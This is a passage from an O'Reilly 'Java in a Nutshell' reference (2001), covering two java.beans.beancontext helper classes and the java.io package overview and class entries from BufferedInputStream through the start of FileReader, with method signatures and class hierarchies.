This class is used internally by BeanContextSupport to keep track of additional information about its children. In particular, for children that implement the BeanContextProxy interface, it keeps track of the BeanContextChild object associated with the child. This class does not define any public or protected fields or methods. BeanContextSupport subclasses that want to associate additional information with each child can subclass this class and override the createBCSChild() method to instantiate the new subclass.

protected class BeanContextSupport.BCSChild implements Serializable {
// No Constructor
}

Subclasses: BeanContextServicesSupport.BCSSChild

Passed To: BeanContextServicesSupport.childJustRemovedHook(), BeanContextSupport.{childDeserializedHook(), childJustAddedHook(), childJustRemovedHook()}

Returned By: BeanContextServicesSupport.createBCSChild(), BeanContextSupport.createBCSChild()

BeanContextSupport.BCSIterator Java 1.2
java.beans.beancontext

This class implements the java.util.Iterator interface. An instance of this class is returned by the iterator() method implemented by BeanContextSupport. The remove() method has an empty implementation and does not actually remove a child of the bean context.

protected static final class BeanContextSupport.BCSIterator implements java.util.Iterator {
// | No Constructor
// | Methods Implementing Iterator
 | public boolean hasNext (); |
 | public Object next (); |
 | public void remove (); | empty
}
Previous | Home | Next
9.1. The java.beans Package | Book Index | 11. The java.io Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.io Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 11. The java.io Package

The java.io package contains a relatively large number of classes, but, as you can see from Figure 11-1 and Figure 11-2, the classes form a fairly structured hierarchy. Most of the package consists of byte streams--subclasses of InputStream or OutputStream and (in Java 1.1) character streams--subclasses of Reader or Writer. Each of these stream types has a specific purpose, and, despite its size, java.io is a straightforward package to understand and to use.

Before we consider the stream classes in the package, let's examine the important non-stream classes. File represents a file or directory name in a system-independent way and provides methods for listing directories, querying file attributes, and renaming and deleting files. FilenameFilter is an interface that defines a method that accepts or rejects specified filenames. It is used by java.awt.FileDialog and File to specify what types of files should be included in directory listings. RandomAccessFile allows you to read from or write to arbitrary locations of a file. Often, though, you'll prefer sequential access to a file and should use one of the stream classes.

InputStream and OutputStream are abstract classes that define methods for reading and writing bytes. Their subclasses allow bytes to be read from and written to a variety of sources and sinks. FileInputStream and FileOutputStream read from and write to files. ByteArrayInputStream and ByteArrayOutputStream read from and write to an array of bytes in memory. PipedInputStream reads bytes from a PipedOutputStream, and PipedOutputStream writes bytes to a PipedInputStream. These classes work together to implement a pipe for communication between threads.

FilterInputStream and FilterOutputStream are special; they filter input and output bytes. When you create a FilterInputStream, you specify an InputStream for it to filter. When you call the read() method of a FilterInputStream, it calls the read() method of its InputStream, processes the bytes it reads, and returns the filtered bytes. Similarly, when you create a FilterOutputStream, you specify an OutputStream to be filtered. Calling the write() method of a FilterOutputStream causes it to process your bytes in some way and then pass those filtered bytes to the write() method of its OutputStream.

Figure 11-1. The java.io package

Figure 11-2. The exception classes of the java.io package

FilterInputStream and FilterOutputStream do not perform any filtering themselves; this is done by their subclasses. BufferedInputStream and BufferedOutputStream provide input and output buffering and can increase I/O efficiency. DataInputStream reads raw bytes from a stream and interprets them in various binary formats. It has various methods to read primitive Java data types in their standard binary formats. DataOutputStream allows you to write Java primitive data types in binary format.

In Java 1.1 and later, the byte streams I just described are complemented by an analogous set of character input and output streams. Reader is the superclass of all character input streams, and Writer is the superclass of all character output streams. These character streams supersede the byte streams for all textual I/O. They are more efficient than the byte streams, and they correctly handle the conversion between local encodings and Unicode text, making them invaluable for internationalized programs. Most of the Reader and Writer streams have obvious byte-stream analogs. BufferedReader is a commonly used stream; it provides buffering for efficiency and also has a readLine() method to read a line of text at a time. PrintWriter is another very common stream; its methods allow output of a textual representation of any primitive Java type or of any object (via the object's toString() method).

The ObjectInputStream and ObjectOutputStream classes are special. These byte-stream classes are new as of Java 1.1 and are part of the Object Serialization API.

BufferedInputStream | Java 1.0
java.io | PJ1.1

This class is a FilterInputStream that provides input data buffering; efficiency is increased by reading in a large amount of data and storing it in an internal buffer. When data is requested, it is usually available from the buffer. Thus, most calls to read data do not actually have to read data from a disk, network, or other slow source. Create a BufferedInputStream by specifying the InputStream that is to be buffered in the call to the constructor. See also BufferedReader.

public class BufferedInputStream extends FilterInputStream {
// | Public Constructors
 | public BufferedInputStream (java.io.InputStream in); |
 | public BufferedInputStream (java.io.InputStream in, int size); |
// | Public Methods Overriding FilterInputStream
 | public int available () throws IOException; | synchronized
1.2 | public void close () throws IOException; |
 | public void mark (int readlimit); | synchronized
 | public boolean markSupported (); | constant
 | public int read () throws IOException; | synchronized
 | public int read (byte[ ] b, int off, int len) throws IOException; | synchronized
 | public void reset () throws IOException; | synchronized
 | public long skip (long n) throws IOException; | synchronized
// | Protected Instance Fields
 | protected byte[ ] buf ; |
 | protected int count ; |
 | protected int marklimit ; |
 | protected int markpos ; |
 | protected int pos ; |
}

Hierarchy: Object-->java.io.InputStream-->FilterInputStream-->BufferedInputStream

BufferedOutputStream | Java 1.0
java.io | PJ1.1

This class is a FilterOutputStream that provides output data buffering; output efficiency is increased by storing values to be written in a buffer and actually writing them out only when the buffer fills up or when the flush() method is called. Create a BufferedOutputStream by specifying the OutputStream that is to be buffered in the call to the constructor. See also BufferedWriter.

public class BufferedOutputStream extends FilterOutputStream {
// | Public Constructors
 | public BufferedOutputStream (java.io.OutputStream out); |
 | public BufferedOutputStream (java.io.OutputStream out, int size); |
// | Public Methods Overriding FilterOutputStream
 | public void flush () throws IOException; | synchronized
 | public void write (int b) throws IOException; | synchronized
 | public void write (byte[ ] b, int off, int len) throws IOException; | synchronized
// | Protected Instance Fields
 | protected byte[ ] buf ; |
 | protected int count ; |
}

Hierarchy: Object-->java.io.OutputStream-->FilterOutputStream-->BufferedOutputStream

BufferedReader | Java 1.1
java.io | PJ1.1

This class applies buffering to a character input stream, thereby improving the efficiency of character input. You create a BufferedReader by specifying some other character input stream from which it is to buffer input. (You can also specify a buffer size at this time, although the default size is usually fine.) Typically, you use this sort of buffering with a FileReader or InputStreamReader. BufferedReader defines the standard set of Reader methods and provides a readLine() method that reads a line of text (not including the line terminator) and returns it as a String. BufferedReader is the character-stream analog of BufferedInputStream. It also provides a replacement for the deprecated readLine() method of DataInputStream, which did not properly convert bytes into characters.

public class BufferedReader extends Reader {
// | Public Constructors
 | public BufferedReader (Reader in); |
 | public BufferedReader (Reader in, int sz); |
// | Public Instance Methods
 | public String readLine () throws IOException; |
// | Public Methods Overriding Reader
 | public void close () throws IOException; |
 | public void mark (int readAheadLimit) throws IOException; |
 | public boolean markSupported (); | constant
 | public int read () throws IOException; |
 | public int read (char[ ] cbuf, int off, int len) throws IOException; |
 | public boolean ready () throws IOException; |
 | public void reset () throws IOException; |
 | public long skip (long n) throws IOException; |
}

Hierarchy: Object-->Reader-->BufferedReader

Subclasses: LineNumberReader

Returned By: javax.servlet.ServletRequest.getReader()

BufferedWriter | Java 1.1
java.io | PJ1.1

This class applies buffering to a character output stream, improving output efficiency by coalescing many small write requests into a single larger request. You create a BufferedWriter by specifying some other character output stream to which it sends its buffered and coalesced output. (You can also specify a buffer size at this time, although the default size is usually satisfactory.) Typically, you use this sort of buffering with a FileWriter or OutputStreamWriter. BufferedWriter defines the standard write(), flush(), and close() methods all output streams define, but it adds a newLine() method that outputs the platform-dependent line separator (usually a newline character, a carriage-return character, or both) to the stream. BufferedWriter is the character-stream analog of BufferedOutputStream.

public class BufferedWriter extends Writer {
// | Public Constructors
 | public BufferedWriter (Writer out);
 | public BufferedWriter (Writer out, int sz);
// | Public Instance Methods
 | public void newLine () throws IOException;
// | Public Methods Overriding Writer
 | public void close () throws IOException;
 | public void flush () throws IOException;
 | public void write (int c) throws IOException;
 | public void write (String s, int off, int len) throws IOException;
 | public void write (char[ ] cbuf, int off, int len) throws IOException;
}

Hierarchy: Object-->Writer-->BufferedWriter

ByteArrayInputStream | Java 1.0
java.io | PJ1.1

This class is a subclass of InputStream in which input data comes from a specified array of byte values. This is useful when you want to read data in memory as if it were coming from a file, pipe, or socket. Note that the specified array of bytes is not copied when a ByteArrayInputStream is created. See also CharArrayReader.

public class ByteArrayInputStream extends java.io.InputStream {
// | Public Constructors
 | public ByteArrayInputStream (byte[ ] buf); |
 | public ByteArrayInputStream (byte[ ] buf, int offset, int length); |
// | Public Methods Overriding InputStream
 | public int available (); | synchronized
1.2 | public void close () throws IOException; | synchronized
1.1 | public void mark (int readAheadLimit); |
1.1 | public boolean markSupported (); | constant
 | public int read (); | synchronized
 | public int read (byte[ ] b, int off, int len); | synchronized
 | public void reset (); | synchronized
 | public long skip (long n); | synchronized
// | Protected Instance Fields
 | protected byte[ ] buf ; |
 | protected int count ; |
1.1 | protected int mark ; |
 | protected int pos ; |
}

Hierarchy: Object-->java.io.InputStream-->ByteArrayInputStream

ByteArrayOutputStream | Java 1.0
java.io | PJ1.1

This class is a subclass of OutputStream in which output data is stored in an internal byte array. The internal array grows as necessary and can be retrieved with toByteArray() or toString(). The reset() method discards any data currently stored in the internal array and stores data from the beginning again. See also CharArrayWriter.

public class ByteArrayOutputStream extends java.io.OutputStream {
// | Public Constructors
 | public ByteArrayOutputStream (); |
 | public ByteArrayOutputStream (int size); |
// | Public Instance Methods
 | public void reset (); | synchronized
 | public int size (); |
 | public byte[ ] toByteArray (); | synchronized
1.1 | public String toString (String enc) throws UnsupportedEncodingException; |
 | public void writeTo (java.io.OutputStream out) throws IOException; | synchronized
// | Public Methods Overriding OutputStream
1.2 | public void close () throws IOException; | synchronized
 | public void write (int b); | synchronized
 | public void write (byte[ ] b, int off, int len); | synchronized
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Fields
 | protected byte[ ] buf ; |
 | protected int count ; |
// | Deprecated Public Methods
# | public String toString (int hibyte); |
}

Hierarchy: Object-->java.io.OutputStream-->ByteArrayOutputStream

CharArrayReader | Java 1.1
java.io | PJ1.1

This class is a character input stream that uses a character array as the source of the characters it returns. You create a CharArrayReader by specifying the character array (or portion of an array) it is to read from. CharArrayReader defines the usual Reader methods and supports the mark() and reset() methods. Note that the character array you pass to the CharArrayReader() constructor is not copied. This means that changes you make to the elements of the array after you create the input stream affect the values read from the array. CharArrayReader is the character-array analog of ByteArrayInputStream and is similar to StringReader.

public class CharArrayReader extends Reader {
// | Public Constructors
 | public CharArrayReader (char[ ] buf); |
 | public CharArrayReader (char[ ] buf, int offset, int length); |
// | Public Methods Overriding Reader
 | public void close (); |
 | public void mark (int readAheadLimit) throws IOException; |
 | public boolean markSupported (); | constant
 | public int read () throws IOException; |
 | public int read (char[ ] b, int off, int len) throws IOException; |
 | public boolean ready () throws IOException; |
 | public void reset () throws IOException; |
 | public long skip (long n) throws IOException; |
// | Protected Instance Fields
 | protected char[ ] buf ; |
 | protected int count ; |
 | protected int markedPos ; |
 | protected int pos ; |
}

Hierarchy: Object-->Reader-->CharArrayReader

CharArrayWriter | Java 1.1
java.io | PJ1.1

This class is a character output stream that uses an internal character array as the destination of characters written to it. When you create a CharArrayWriter, you may optionally specify an initial size for the character array, but you do not specify the character array itself; this array is managed internally by the CharArrayWriter and grows as necessary to accommodate all the characters written to it. The toString() and toCharArray() methods return a copy of all characters written to the stream, as a string and an array of characters, respectively. CharArrayWriter defines the standard write(), flush(), and close() methods all Writer subclasses define. It also defines a few other useful methods. size() returns the number of characters that have been written to the stream. reset() resets the stream to its initial state, with an empty character array; this is more efficient than creating a new CharArrayWriter. Finally, writeTo() writes the contents of the internal character array to some other specified character stream. CharArrayWriter is the character-stream analog of ByteArrayOutputStream and is quite similar to StringWriter.

public class CharArrayWriter extends Writer {
// | Public Constructors
 | public CharArrayWriter (); |
 | public CharArrayWriter (int initialSize); |
// | Public Instance Methods
 | public void reset (); |
 | public int size (); |
 | public char[ ] toCharArray (); |
 | public void writeTo (Writer out) throws IOException; |
// | Public Methods Overriding Writer
 | public void close (); | empty
 | public void flush (); | empty
 | public void write (int c); |
 | public void write (char[ ] c, int off, int len); |
 | public void write (String str, int off, int len); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Fields
 | protected char[ ] buf ; |
 | protected int count ; |
}

Hierarchy: Object-->Writer-->CharArrayWriter

CharConversionException | Java 1.1
java.io | serializable checked PJ1.1

Signals an error when converting bytes to characters or vice versa.

public class CharConversionException extends IOException {
// | Public Constructors
 | public CharConversionException ();
 | public CharConversionException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->CharConversionException

DataInput | Java 1.0
java.io | PJ1.1

This interface defines the methods required for streams that can read Java primitive data types in a machine-independent binary format. It is implemented by DataInputStream and RandomAccessFile. See DataInputStream for more information on the methods.

public interface DataInput {
// | Public Instance Methods
 | public abstract boolean readBoolean () throws IOException;
 | public abstract byte readByte () throws IOException;
 | public abstract char readChar () throws IOException;
 | public abstract double readDouble () throws IOException;
 | public abstract float readFloat () throws IOException;
 | public abstract void readFully (byte[ ] b) throws IOException;
 | public abstract void readFully (byte[ ] b, int off, int len) throws IOException;
 | public abstract int readInt () throws IOException;
 | public abstract String readLine () throws IOException;
 | public abstract long readLong () throws IOException;
 | public abstract short readShort () throws IOException;
 | public abstract int readUnsignedByte () throws IOException;
 | public abstract int readUnsignedShort () throws IOException;
 | public abstract String readUTF () throws IOException;
 | public abstract int skipBytes (int n) throws IOException;
}

Implementations: java.io.DataInputStream, ObjectInput, RandomAccessFile

Passed To: java.io.DataInputStream.readUTF(), java.rmi.server.UID.read()

DataInputStream | Java 1.0
java.io | PJ1.1

This class is a type of FilterInputStream that allows you to read binary representations of Java primitive data types in a portable way. Create a DataInputStream by specifying the InputStream that is to be filtered in the call to the constructor. DataInputStream reads only primitive Java types; use ObjectInputStream to read object values.

Many of the methods read and return a single Java primitive type, in binary format, from the stream. readUnsignedByte() and readUnsignedShort() read unsigned values and return them as int values, since unsigned byte and short types are not supported in Java. read() reads data into an array of bytes, blocking until at least some data is available. By contrast, readFully() reads data into an array of bytes, but blocks until all requested data becomes available. skipBytes() blocks until the specified number of bytes have been read and discarded. readLine() reads characters from the stream until it encounters a newline, a carriage return, or a newline/carriage return pair. The returned string is not terminated with a newline or carriage return. This method is deprecated as of Java 1.1; see BufferedReader for an alternative. readUTF() reads a string of Unicode text encoded in a slightly modified version of the UTF-8 transformation format. UTF-8 is an ASCII-compatible encoding of Unicode characters that is often used for the transmission and storage of Unicode text. This class uses a modified UTF-8 encoding that never contains embedded null characters.

public class DataInputStream extends FilterInputStream implements DataInput {
// | Public Constructors
 | public DataInputStream (java.io.InputStream in); |
// | Public Class Methods
 | public static final String readUTF (DataInput in) throws IOException; |
// | Methods Implementing DataInput
 | public final boolean readBoolean () throws IOException; |
 | public final byte readByte () throws IOException; |
 | public final char readChar () throws IOException; |
 | public final double readDouble () throws IOException; |
 | public final float readFloat () throws IOException; |
 | public final void readFully (byte[ ] b) throws IOException; |
 | public final void readFully (byte[ ] b, int off, int len) throws IOException; |
 | public final int readInt () throws IOException; |
 | public final long readLong () throws IOException; |
 | public final short readShort () throws IOException; |
 | public final int readUnsignedByte () throws IOException; |
 | public final int readUnsignedShort () throws IOException; |
 | public final String readUTF () throws IOException; |
 | public final int skipBytes (int n) throws IOException; |
// | Public Methods Overriding FilterInputStream
 | public final int read (byte[ ] b) throws IOException; |
 | public final int read (byte[ ] b, int off, int len) throws IOException; |
// | Deprecated Public Methods
# | public final String readLine () throws IOException; | Implements:DataInput
}

Hierarchy: Object-->java.io.InputStream-->FilterInputStream-->java.io.DataInputStream(DataInput)

Passed To: javax.swing.text.html.parser.DTD.read()

DataOutput | Java 1.0
java.io | PJ1.1

This interface defines the methods required for streams that can write Java primitive data types in a machine-independent binary format. It is implemented by DataOutputStream and RandomAccessFile. See DataOutputStream for more information on the methods.

public interface DataOutput {
// | Public Instance Methods
 | public abstract void write (byte[ ] b) throws IOException;
 | public abstract void write (int b) throws IOException;
 | public abstract void write (byte[ ] b, int off, int len) throws IOException;
 | public abstract void writeBoolean (boolean v) throws IOException;
 | public abstract void writeByte (int v) throws IOException;
 | public abstract void writeBytes (String s) throws IOException;
 | public abstract void writeChar (int v) throws IOException;
 | public abstract void writeChars (String s) throws IOException;
 | public abstract void writeDouble (double v) throws IOException;
 | public abstract void writeFloat (float v) throws IOException;
 | public abstract void writeInt (int v) throws IOException;
 | public abstract void writeLong (long v) throws IOException;
 | public abstract void writeShort (int v) throws IOException;
 | public abstract void writeUTF (String str) throws IOException;
}

Implementations: java.io.DataOutputStream, ObjectOutput, RandomAccessFile

Passed To: java.rmi.server.UID.write()

DataOutputStream | Java 1.0
java.io | PJ1.1

This class is a subclass of FilterOutputStream that allows you to write Java primitive data types in a portable binary format. Create a DataOutputStream by specifying the OutputStream that is to be filtered in the call to the constructor. DataOutputStream has methods that output only primitive types; use ObjectOutputStream to output object values.

Many of this class's methods write a single Java primitive type, in binary format, to the output stream. write() writes a single byte, an array, or a subarray of bytes. flush() forces any buffered data to be output. size() returns the number of bytes written so far. writeUTF() outputs a Java string of Unicode characters using a slightly modified version of the UTF-8 transformation format. UTF-8 is an ASCII-compatible encoding of Unicode characters that is often used for the transmission and storage of Unicode text. Except for the writeUTF() method, this class is used for binary output of data. Textual output should be done with PrintWriter (or PrintStream in Java 1.0).

public class DataOutputStream extends FilterOutputStream implements DataOutput {
// | Public Constructors
 | public DataOutputStream (java.io.OutputStream out); |
// | Public Instance Methods
 | public final int size (); |
// | Methods Implementing DataOutput
 | public void write (int b) throws IOException; | synchronized
 | public void write (byte[ ] b, int off, int len) throws IOException; | synchronized
 | public final void writeBoolean (boolean v) throws IOException; |
 | public final void writeByte (int v) throws IOException; |
 | public final void writeBytes (String s) throws IOException; |
 | public final void writeChar (int v) throws IOException; |
 | public final void writeChars (String s) throws IOException; |
 | public final void writeDouble (double v) throws IOException; |
 | public final void writeFloat (float v) throws IOException; |
 | public final void writeInt (int v) throws IOException; |
 | public final void writeLong (long v) throws IOException; |
 | public final void writeShort (int v) throws IOException; |
 | public final void writeUTF (String str) throws IOException; |
// | Public Methods Overriding FilterOutputStream
 | public void flush () throws IOException; |
// | Protected Instance Fields
 | protected int written ; |
}

Hierarchy: Object-->java.io.OutputStream-->FilterOutputStream-->java.io.DataOutputStream(DataOutput)

EOFException | Java 1.0
java.io | serializable checked PJ1.1

An IOException that signals the end-of-file.

public class EOFException extends IOException {
// | Public Constructors
 | public EOFException ();
 | public EOFException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->EOFException

Externalizable | Java 1.1
java.io | serializable PJ1.1

This interface defines the methods that must be implemented by an object that wants complete control over the way it is serialized. The writeExternal() and readExternal() methods should be implemented to write and read object data in some arbitrary format, using the methods of the DataOutput and DataInput interfaces. Externalizable objects must serialize their own fields and are also responsible for serializing the fields of their superclasses. Most objects do not need to define a custom output format and can use the Serializable interface instead of Externalizable for serialization.

public interface Externalizable extends Serializable {
// | Public Instance Methods
 | public abstract void readExternal (ObjectInput in) throws IOExceptionClassNotFoundException;
 | public abstract void writeExternal (ObjectOutput out) throws IOException;
}

Hierarchy: (Externalizable(Serializable))

Implementations: java.awt.datatransfer.DataFlavor, java.rmi.server.RemoteRef

File | Java 1.0
java.io | serializable comparable PJ1.1(opt)

This class supports a platform-independent definition of file and directory names. It also provides methods to list the files in a directory; check the existence, readability, writeability, type, size, and modification time of files and directories; make new directories; rename files and directories; delete files and directories; and create and delete temporary and lock files. The constants defined by this class are the platform-dependent directory and path-separator characters, available as a String and a char.

getName() returns the name of the File with any directory names omitted. getPath() returns the full name of the file, including the directory name. getParent() and getParentFile() return the directory that contains the File; the only difference between the two methods is that one returns a String, while the other returns a File. isAbsolute() tests whether the File is an absolute specification. If not, getAbsolutePath() returns an absolute filename created by appending the relative filename to the current working directory. getAbsoluteFile() returns the equivalent absolute File object. getCanonicalPath() and getCanonicalFile() are similar methods: they return an absolute filename or File object that has been converted to its system-dependent canonical form. This can be useful when comparing two File objects to see if they refer to the same file or directory.

exists(), canWrite(), canRead(), isFile(), isDirectory(), and isHidden() perform the obvious tests on the specified File. length() returns the length of the file. lastModified() returns the modification time of the file (which should be used for comparison with other file times only and not interpreted as any particular time format). setLastModified() allows the modification time to be set; setReadOnly() makes a file or directory read-only.

list() returns the names of all entries in a directory that are not rejected by an optional FilenameFilter. listFiles() returns an array of File objects that represent all entries in a directory not rejected by an optional FilenameFilter or FileFilter. listRoots() returns an array of File objects representing all root directories on the system. On Unix systems, for example, there is typically only one root, /. On Windows systems, however, there is a different root for each drive letter: c:\, d:\, and e:\, for example.

mkdir() creates a directory, and mkdirs() creates all the directories in a File specification. renameTo() renames a file or directory; delete() deletes a file or directory. Prior to Java 1.2, the File class doesn't provide any way to create a file; that task is accomplished typically with FileOutputStream. As of Java 1.2, however, two special-purpose file creation methods have been added. The static createTempFile() method returns a File object that refers to a newly created empty file with a unique name that begins with the specified prefix (which must be at least three characters long) and ends with the specified suffix. One version of this method creates the file in a specified directory, and the other creates it in the system temporary directory. Applications can use temporary files for any purpose without worrying about overwriting files belonging to other applications. The other file-creation method of Java 1.2 is createNewFile(). This instance method attempts to create a new, empty file with the name specified by the File object. If it succeeds, it returns true. However, if the file already exists, it returns false. createNewFile() works atomically, and is therefore useful for file locking and other mutual-exclusion schemes. When working with createTempFile() or createNewFile(), consider using deleteOnExit() to request that the files be deleted when the Java VM exits normally.

public class File implements ComparableSerializable {
// | Public Constructors
 | public File (String pathname);
 | public File (String parent, String child);
 | public File (File parent, String child);
// | Public Constants
 | public static final String pathSeparator ;
 | public static final char pathSeparatorChar ;
 | public static final String separator ;
 | public static final char separatorChar ;
// | Public Class Methods
1.2 | public static File createTempFile (String prefix, String suffix) throws IOException;
1.2 | public static File createTempFile (String prefix, String suffix, File directory) throws IOException;
1.2 | public static File[ ] listRoots ();
// | Property Accessor Methods (by property name)
 | public boolean isAbsolute ();
1.2 | public File getAbsoluteFile ();
 | public String getAbsolutePath ();
1.2 | public File getCanonicalFile () throws IOException;
1.1 | public String getCanonicalPath () throws IOException;
 | public boolean isDirectory ();
 | public boolean isFile ();
1.2 | public boolean isHidden ();
 | public String getName ();
 | public String getParent ();
1.2 | public File getParentFile ();
 | public String getPath ();
// | Public Instance Methods
 | public boolean canRead ();
 | public boolean canWrite ();
1.2 | public int compareTo (File pathname);
1.2 | public boolean createNewFile () throws IOException;
 | public boolean delete ();
1.2 | public void deleteOnExit ();
 | public boolean exists ();
 | public long lastModified ();
 | public long length ();
 | public String[ ] list ();
 | public String[ ] list (FilenameFilter filter);
1.2 | public File[ ] listFiles ();
1.2 | public File[ ] listFiles (java.io.FileFilter filter);
1.2 | public File[ ] listFiles (FilenameFilter filter);
 | public boolean mkdir ();
 | public boolean mkdirs ();
 | public boolean renameTo (File dest);
1.2 | public boolean setLastModified (long time);
1.2 | public boolean setReadOnly ();
1.2 | public java.net.URL toURL () throws java.net.MalformedURLException;
// | Methods Implementing Comparable
1.2 | public int compareTo (Object o);
// | Public Methods Overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
 | public String toString ();
}

Hierarchy: Object-->File(Comparable,Serializable)

Passed To: Too many methods to list.

Returned By: Too many methods to list.

FileDescriptor | Java 1.0
java.io | PJ1.1

This class is a platform-independent representation of a low-level handle to an open file or socket. The static in, out, and err variables are FileDescriptor objects that represent the standard input, output, and error streams, respectively. There is no public constructor method to create a FileDescriptor object. You can obtain one with the getFD() method of FileInputStream, FileOutputStream, or RandomAccessFile.

public final class FileDescriptor {
// | Public Constructors
 | public FileDescriptor (); |
// | Public Constants
 | public static final FileDescriptor err ; |
 | public static final FileDescriptor in ; |
 | public static final FileDescriptor out ; |
// | Public Instance Methods
1.1 | public void sync () throws SyncFailedException; | native
 | public boolean valid (); |
}

Passed To: FileInputStream.FileInputStream(), FileOutputStream.FileOutputStream(), FileReader.FileReader(), FileWriter.FileWriter(), SecurityManager.{checkRead(), checkWrite()}

Returned By: FileInputStream.getFD(), FileOutputStream.getFD(), RandomAccessFile.getFD(), java.net.DatagramSocketImpl.getFileDescriptor(), java.net.SocketImpl.getFileDescriptor()

Type Of: FileDescriptor.{err, in, out}, java.net.DatagramSocketImpl.fd, java.net.SocketImpl.fd

FileFilter Java 1.2
java.io

This interface defines an accept() method that filters a list of files. You can list the contents of a directory by calling the listFiles() method of the File object that represents the desired directory. If you want a filtered listing, such as a listing of files but not subdirectories or a listing of files whose names end in .class, you can pass a FileFilter object to listFiles(). For each entry in the directory, a File object is passed to the accept() method. If accept() returns true, that File is included in the return value of listFiles(). If accept() returns false, that entry is not included in the listing. FileFilter is new in Java 1.2. Use FilenameFilter if compatibility with previous releases of Java is required or if you prefer to filter filenames (i.e., String objects) rather than File objects.

public interface FileFilter {
// | Public Instance Methods
 | public abstract boolean accept (File pathname);
}

Passed To: File.listFiles()

FileInputStream | Java 1.0
java.io | PJ1.1(opt)

This class is a subclass of InputStream that reads bytes from a file specified by name or by a File or FileDescriptor object. read() reads a byte or array of bytes from the file. It returns -1 when the end-of-file has been reached. To read binary data, you typically use this class in conjunction with a BufferedInputStream and DataInputStream. To read text, you typically use it with an InputStreamReader and BufferedReader. Call close() to close the file when input is no longer needed.

public class FileInputStream extends java.io.InputStream {
// | Public Constructors
 | public FileInputStream (String name) throws FileNotFoundException; |
 | public FileInputStream (FileDescriptor fdObj); |
 | public FileInputStream (File file) throws FileNotFoundException; |
// | Public Instance Methods
 | public final FileDescriptor getFD () throws IOException; |
// | Public Methods Overriding InputStream
 | public int available () throws IOException; | native
 | public void close () throws IOException; | native
 | public int read () throws IOException; | native
 | public int read (byte[ ] b) throws IOException; |
 | public int read (byte[ ] b, int off, int len) throws IOException; |
 | public long skip (long n) throws IOException; | native
// | Protected Methods Overriding Object
 | protected void finalize () throws IOException; |
}

Hierarchy: Object-->java.io.InputStream-->FileInputStream

FilenameFilter | Java 1.0
java.io | PJ1.1(opt)

This interface defines the accept() method that must be implemented by any object that filters filenames (i.e., selects a subset of filenames from a list of filenames). There are no standard FilenameFilter classes implemented by Java, but objects that implement this interface are used by the java.awt.FileDialog object and the File.list() method. A typical FilenameFilter object might check that the specified File represents a file (not a directory), is readable (and possibly writable as well), and that its name ends with some desired extension.

public interface FilenameFilter {
// | Public Instance Methods
 | public abstract boolean accept (File dir, String name);
}

Passed To: java.awt.FileDialog.setFilenameFilter(), java.awt.peer.FileDialogPeer.setFilenameFilter(), File.{list(), listFiles()}

Returned By: java.awt.FileDialog.getFilenameFilter()

FileNotFoundException | Java 1.0
java.io | serializable checked PJ1.1(opt)

An IOException that signals that a specified file cannot be found.

public class FileNotFoundException extends IOException {
// | Public Constructors
 | public FileNotFoundException ();
 | public FileNotFoundException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->FileNotFoundException

Thrown By: FileInputStream.FileInputStream(), FileOutputStream.FileOutputStream(), FileReader.FileReader(), RandomAccessFile.RandomAccessFile()

FileOutputStream | Java 1.0
java.io | PJ1.1(opt)

This class is a subclass of OutputStream that writes data to a file specified by name or by a File or FileDescriptor object. write() writes a byte or array of bytes to the file. To write binary data, you typically use this class in conjunction with a BufferedOutputStream and a DataOutputStream. To write text, you typically use it with a PrintWriter, BufferedWriter and an OutputStreamWriter. Use close() to close a FileOutputStream when no further output will be written to it.

public class FileOutputStream extends java.io.OutputStream {
// | Public Constructors
 | public FileOutputStream (FileDescriptor fdObj); |
 | public FileOutputStream (String name) throws FileNotFoundException; |
 | public FileOutputStream (File file) throws FileNotFoundException; |
1.1 | public FileOutputStream (String name, boolean append) throws FileNotFoundException; |
// | Public Instance Methods
 | public final FileDescriptor getFD () throws IOException; |
// | Public Methods Overriding OutputStream
 | public void close () throws IOException; | native
 | public void write (int b) throws IOException; | native
 | public void write (byte[ ] b) throws IOException; |
 | public void write (byte[ ] b, int off, int len) throws IOException; |
// | Protected Methods Overriding Object
 | protected void finalize () throws IOException; |
}

Hierarchy: Object-->java.io.OutputStream-->FileOutputStream

FilePermission | Java 1.2
java.io | serializable permission

This class is a java.security.Permission that governs access to the local filesystem. A FilePermission has a name, or target, which specifies what file or files it pertains to, and a comma-separated list of actions that may be performed on the file or files. The supported actions are "read", "write", "delete", and "execute". Read and write permission are required by any methods that read or write a file. Delete permission is required by File.delete(), and execute permission is required by Runtime.exec().

The name of a FilePermission may be as simple as a file or directory name. FilePermission also supports the use of certain wildcards, however, to specify a permission that applies to more than one file. If the name of the FilePermission is a directory name followed by "/*" ("\*" on Windows platforms), it specifies all files in the named directory. If the name is a directory name followed by "/-" ("\-" on Windows), it specifies all files in the directory, and, recursively, all files in all subdirectories. A "*" alone specifies all files in the current directory, and a "-" alone specifies all files in or beneath the current directory. Finally, the special name "<<ALL FILES>>" matches all files anywhere in the filesystem.

Applications do not need to use this class directly. Programmers writing system-level code and system administrators configuring security policies may need to use it, however. Be very careful when granting any types of FilePermission. Restricting access (especially write access) to files is one of the cornerstones of the Java security model with regard to untrusted code.

public final class FilePermission extends java.security.Permission implements Serializable {
// | Public Constructors
 | public FilePermission (String path, String actions);
// | Public Methods Overriding Permission
 | public boolean equals (Object obj);
 | public String getActions ();
 | public int hashCode ();
 | public boolean implies (java.security.Permission p);
 | public java.security.PermissionCollection newPermissionCollection ();
}

Hierarchy: Object-->java.security.Permission(java.security.Guard,Serializable)-->FilePermission(Serializable)

FileReader | Java 1.1
java.io | PJ1.1(opt)

FileReader is a convenience subclass of InputStreamReader that is useful when you want to read text (as opposed to binary data) from a file. You create a FileReader by specifying the file to be read in any of three possible forms. The FileReader constructor internally creates a FileInputStream to read bytes from the specified file and uses the functionality of its superclass, InputStreamReader, to convert those bytes from characters in the local encoding to the Unicode characters used by Java. Because FileReader is a trivial subclass of InputStreamReader, it does not define any read() methods or other methods of its own. Instead, it inherits all its methods from its superclass. If you want to read Unicode characters from a file that uses some encoding other than the default encoding for the locale, you must explicitly create your own InputStreamReader to perform the byte-to-character conversion.

public class FileReader extends InputStreamReader {
// | Public Constructors
